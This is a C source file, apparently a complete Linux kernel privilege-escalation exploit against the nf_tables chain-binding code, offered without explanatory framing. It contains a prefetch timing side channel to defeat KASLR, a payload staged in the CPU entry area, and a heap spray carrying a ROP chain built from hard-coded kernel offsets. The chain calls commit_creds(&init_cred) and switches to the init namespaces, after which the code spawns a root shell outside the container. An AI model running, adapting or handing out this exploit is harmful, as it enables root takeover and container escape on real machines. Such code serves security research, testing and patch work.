#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <net/if.h>
#include <sys/wait.h>
#include <sys/syscall.h>

#include <linux/rtnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter.h>
#include <linux/keyctl.h>
#include <stddef.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/set.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

#include "netlink_utils.h"

#define BUF_SIZE        0x1000 * 0x100

#define FIND_TASK_BY_VPID                           0x1bbe60
#define SWITCH_TASK_NAMESPACES                      0x1c3a30
#define COMMIT_CREDS                                0x1c55a0
#define INIT_CRED                                   0x2876960
#define INIT_NSPROXY                                0x2876720
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0x1201146
#define OOPS_IN_PROGRESS                            0x3444338
#define RCU_READ_LOCK_NESTING_OFF                   0x474

#define PUSH_RBX_POP_RSP   0xf89a31    // 0xffffffff81f89a31 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404c80
#define POP_RDI_RET        0x0e89fe    // 0xffffffff810e89fe : pop rdi ; jmp 0xffffffff82404c80
#define POP_RSI_RET        0x0e8a70    // 0xffffffff810e8a70 : pop rsi ; jmp 0xffffffff82404c80
#define ADD_RAX_RSI_RET    0x038160    // 0xffffffff81038160 : add rax, rsi ; jmp 0xffffffff82404c80
#define POP_RCX_RET        0x11581f6   // 0xffffffff821581f6 : pop rcx ; jmp 0xffffffff82404c80
#define MOV_RAX_RCX_RET    0x72718b    // 0xffffffff8172718b : mov qword ptr [rax], rcx ; jmp 0xffffffff82404c80
#define MOV_RDI_RAX_RET    0x1f4605    // 0xffffffff811f4605 : mov rdi, rax ; test esi, esi ; jne 0xffffffff811f45b4 ; jmp 0xffffffff82404c80
#define POP_RSP_RET        0x008999    // 0xffffffff81008999 : pop rsp ; jmp 0xffffffff82404c80
#define MOV_RSI_RDI_RET    0x2fcc79    // 0xffffffff812fcc79 : mov qword ptr [rsi], rdi ; jmp 0xffffffff82404c80

uint64_t kbase = 0;

char* buf;
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
struct mnl_socket * nl;
uint32_t portid;
uint8_t family = NFPROTO_IPV4;
int seq = 0;

char * table1_name = "table1";
char * chain_base_name = "chain1";
char * chain_target_name = "chain_target_name";
char * chain_rop_name = "chain_rop_name";

void win(){
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char* shell[] = {
        "/bin/sh",
        NULL,
    };

    execve(shell[0], shell, NULL);

    while(1);
}

void set_affinity(int cpuid){
    cpu_set_t my_set;
    int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);

    if (cpu_cores == 1) return;

    CPU_ZERO(&my_set);

    CPU_SET(cpuid, &my_set);

    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
}

/*
 *	Add a network interface.
 *	Equivalent to `ip link add ...`.
 */
int net_if(char *type, int n, int opt) {

    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    char name[0x100] = { 0 };
    int sk;

    strcpy(name, type);

    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);

    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }

    ifinfo.ifi_family = AF_UNSPEC;
    ifinfo.ifi_type = PF_NETROM;
    ifinfo.ifi_index = 0;
    ifinfo.ifi_flags = opt;
    ifinfo.ifi_change = 1;

    nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);

    nla_put_string(msg, IFLA_IFNAME, name);
    opts = nla_nest_start(msg, IFLA_LINKINFO);
    nla_put_string(msg, IFLA_INFO_KIND, type);
    nla_nest_end(msg, opts);

    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}

void write_file(const char *filename, char *text) {
    int fd = open(filename, O_RDWR | O_CREAT, 0600);

    write(fd, text, strlen(text));
    close(fd);
}

void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    unshare(CLONE_NEWUSER | CLONE_NEWNS);

    unshare(CLONE_NEWNET);

    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);

    net_if("lo", -1, IFF_UP);
}

uint64_t _user_rip = (uint64_t) win;
uint64_t _user_cs = 0;
uint64_t _user_rflags = 0;
uint64_t _user_sp = 0;
uint64_t _user_ss = 0;

void save_state(void) {
    __asm__(".intel_syntax noprefix;"
    "mov _user_cs, cs;"
    "mov _user_ss, ss;"
    "mov _user_sp, rsp;"
    "pushf;"
    "pop _user_rflags;"
    ".att_syntax");
    return;
}

#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337

/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void) {
    int sockfd = 00;
    struct sockaddr_in servaddr, cli;

    bzero(&servaddr, sizeof(servaddr));
    bzero(&cli, sizeof(cli));

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if(sockfd == -1)
        printf("[-] Socket creation failed");

    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
    servaddr.sin_port = htons(TRIG_PORT);

    if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0)
        printf("[-] Connection with server failed");

    write(sockfd, "AAAA", 4);

    close(sockfd);

    return;
}

/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void) {
    int sfd = 0, sock = 0;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);
    char buffer[1024] = { 0 };

    if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
        printf("[-] Error at socket()");

    if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
        printf("[-] Error at setsockopt()");

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(TRIG_PORT);

    if(bind(sfd, (struct sockaddr*)&address,  sizeof(address)) < 0)
        printf("[-] Error at bind()");

    if(listen(sfd, 3) < 0)
        printf("[-] Error at listen()");

    if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
        printf("[-] Error at accept()");

    read(sock, buffer, 4);

    sleep(3);

    close(sock);
    close(sfd);

    return;
}

void trig_sock(){
    int sfd = 0;

    /* Set up server at TRIG_PORT in a new process */
    sfd = fork();
    if(sfd == 0) {
        setup_trig_server();
        exit(0);
    }

    /* Trigger the network hook */
    trig_net_sock();
}

// CPU entry area pointers. We prepare some memory here that will be referenced
// by the ROP chains.
// We need:
//  - the struct nft_expr_ops { .eval } member
#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (uint64_t)cpu * 0x3b000)
#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58)

struct cpu_entry_area_payload {
  union {
    struct {
      // function to call to evaluate the expression
      uint64_t nft_expr_eval;
    };
    uint64_t regs[16];
  };
};

void rop_chain(uint64_t* data){
    int i = 0;

    data[i++] = 0x100;
    data[i++] = 0x100;
    data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);

    // current = find_task_by_vpid(getpid())
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = getpid();
    data[i++] = kbase + FIND_TASK_BY_VPID;

    // current += offsetof(struct task_struct, rcu_read_lock_nesting)
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = RCU_READ_LOCK_NESTING_OFF;
    data[i++] = kbase + ADD_RAX_RSI_RET;

    // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
    data[i++] = kbase + POP_RCX_RET;
    data[i++] = 0;
    data[i++] = kbase + MOV_RAX_RCX_RET;

    // Bypass "schedule while atomic": set oops_in_progress = 1
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + OOPS_IN_PROGRESS;
    data[i++] = kbase + MOV_RSI_RDI_RET;

    // commit_creds(&init_cred)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = kbase + INIT_CRED;
    data[i++] = kbase + COMMIT_CREDS;

    // find_task_by_vpid(1)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + FIND_TASK_BY_VPID;

    data[i++] = kbase + POP_RSI_RET;
    data[i++] = 0;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + MOV_RDI_RAX_RET;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + INIT_NSPROXY;
    data[i++] = kbase + SWITCH_TASK_NAMESPACES;

    data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
    data[i++] = 0;
    data[i++] = 0;
    data[i++] = _user_rip;
    data[i++] = _user_cs;
    data[i++] = _user_rflags;
    data[i++] = _user_sp;
    data[i++] = _user_ss;
}

void setup_table_chain(){
    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_chain * chain1 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain_base_name);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter");
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT);

    struct nftnl_chain * chain_rop = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_NAME, chain_rop_name);
    nftnl_chain_set_u32(chain_rop, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_rule * rule_dangling = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dangling, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dangling, NFTNL_RULE_CHAIN, chain_base_name);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name);
    nftnl_rule_add_expr(rule_dangling, expr_immediate);

    struct nftnl_rule * rule_dummy_rop = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_CHAIN, chain_rop_name);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_rop);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_dangling);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0 ; i < 0x400; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_dummy_rop);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void del_chain(char* chain_name){
    struct nftnl_chain * chain = nftnl_chain_alloc();
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, 0);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void trigger(char * trig_chain_name){
    struct nftnl_chain * chain_target = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_target, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain_target, NFTNL_CHAIN_NAME, chain_target_name);
    nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING);

    struct nftnl_rule * rule_immediate_base = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_immediate_base, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_immediate_base, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_u32(rule_immediate_base, NFTNL_RULE_ID, 1);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_target_name);
    nftnl_rule_add_expr(rule_immediate_base, expr_immediate);

    struct nftnl_rule * rule_immediate_target = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_immediate_target, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_immediate_target, NFTNL_RULE_CHAIN, chain_target_name);
    nftnl_rule_set_u32(rule_immediate_target, NFTNL_RULE_ID, 2);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name);
    nftnl_rule_add_expr(rule_immediate_target, expr_immediate);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_target);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_immediate_target);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_immediate_target);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_immediate_base);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_immediate_base);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    usleep(100*1000);

    del_chain(trig_chain_name);

    usleep(1000*1000);
}

void setup(){
    new_ns();

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "mnl_socket_open");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }

    portid = mnl_socket_get_portid(nl);
}

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

int bypass_kaslr(uint64_t base) {
    if (!base) {
      #ifdef KASLR_BYPASS_INTEL
        #define OFFSET 0
        #define START (0xffffffff81000000ull + OFFSET)
        #define END   (0xffffffffD0000000ull + OFFSET)
        #define STEP   0x0000000001000000ull
        while (1) {
            uint64_t bases[7] = {0};
            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (uint64_t)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    uint64_t addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              base -= OFFSET;
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
      #else
        #define START (0xffffffff81000000ull)
        #define END (0xffffffffc0000000ull)
        #define STEP 0x0000000000200000ull
        #define NUM_TRIALS 7
        // largest contiguous mapped area at the beginning of _stext
        #define WINDOW_SIZE 11

        while (1) {
            uint64_t bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (uint64_t)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    uint64_t addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                uint64_t max = 0;
                int max_i = 0;
                for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
                    uint64_t sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++) {
                        sum += times[ti + i];
                    }
                    if (sum > max) {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
      #endif
    }

got_base:
    printf("using kernel base %llx\n", base);

    kbase = base;
    // i64 diff = 0xffffffff81000000 - base;
    // printf("diff: %lld\n", diff);

    return 0;
}

static void sig_handler(int s) {}

static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) {
  asm volatile (
	  "mov %0, %%rsp\n"
	  "pop %%r15\n"
	  "pop %%r14\n"
	  "pop %%r13\n"
	  "pop %%r12\n"
	  "pop %%rbp\n"
	  "pop %%rbx\n"
	  "pop %%r11\n"
	  "pop %%r10\n"
	  "pop %%r9\n"
	  "pop %%r8\n"
	  "pop %%rax\n"
	  "pop %%rcx\n"
	  "pop %%rdx\n"
	  "pop %%rsi\n"
	  "pop %%rdi\n"
	  "divq (0x1234000)\n"
    "1:\n"
    "jmp 1b\n"
    : : "r"(payload)
  );
  __builtin_unreachable();
}

// Fill the CPU entry area exception stack of HELPER_CPU with a
// struct cpu_entry_area_payload
static void setup_cpu_entry_area() {
  if (fork()) {
    return;
  }

  struct cpu_entry_area_payload payload = {};
  payload.nft_expr_eval = kbase + PUSH_RBX_POP_RSP;

  set_affinity(1);
  signal(SIGFPE, sig_handler);
  signal(SIGTRAP, sig_handler);
  signal(SIGSEGV, sig_handler);
  setsid();

  write_cpu_entry_area(&payload);
}

#define MSG_SIZE 0x2010

void spray_sendmsg() {
    char buf[MSG_SIZE];
    struct msghdr msg = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

    rop_chain((uint64_t*) buf);

    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);

    msg.msg_control = buf;
    msg.msg_controllen = MSG_SIZE;
    msg.msg_name = (caddr_t)&addr;
    msg.msg_namelen = sizeof(addr);

    set_affinity(0);

    for(int i = 0; i < 1; i++) {
        sendmsg(sockfd, &msg, 0);
    }
}

void start(){
    save_state();

    bypass_kaslr(0);

    setup_cpu_entry_area();

    set_affinity(0);

    buf = malloc(BUF_SIZE);

    while(1) {
        setup();

        setup_table_chain();

        trigger(chain_rop_name);

        spray_sendmsg();

        trig_sock();

        sleep(1);
    }
}

int main(int argc, char ** argv)
{
    start();

    return 0;
}